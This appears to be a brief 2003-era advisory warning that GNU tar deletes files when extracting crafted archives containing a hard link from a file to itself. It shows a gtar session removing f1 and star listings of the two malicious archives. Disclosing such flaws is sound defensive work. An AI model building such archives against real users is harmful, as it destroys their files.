Warning:

Most tar programs allow you remove arbitrary files by using hand crafted
tar archibes that contain links to itself.

A good implementation such as star/1.5a18 or newer as well as Solaris "pax"
and FreeBSD "pax" check for problems.

GNU tar does not!

gtar xvf create-and-remove.tar 
gtar: Record size = 4 blocks
f1
f1
gtar: f1: Cannot link to f1: No such file or directory
gtar: Error exit delayed from previous errors

ls -l f1
ls: f1: No such file or directory

Here is what the tar archives contain:

star -tv < create-and-remove.tar 
star: Blocksize = 4 records.
      0 -rw-r--r--  root/berlios Jul 25 20:06 2003 f1
      0 Hrw-r--r--  root/berlios Jul 25 20:06 2003 f1 link to f1
star: 1 blocks + 0 bytes (total of 2048 bytes = 2.00k).

star -tv < remove.tar            
star: Blocksize = 3 records.
      0 Hrw-r--r--  root/berlios Jul 25 20:06 2003 f1 link to f1
star: 1 blocks + 0 bytes (total of 1536 bytes = 1.50k).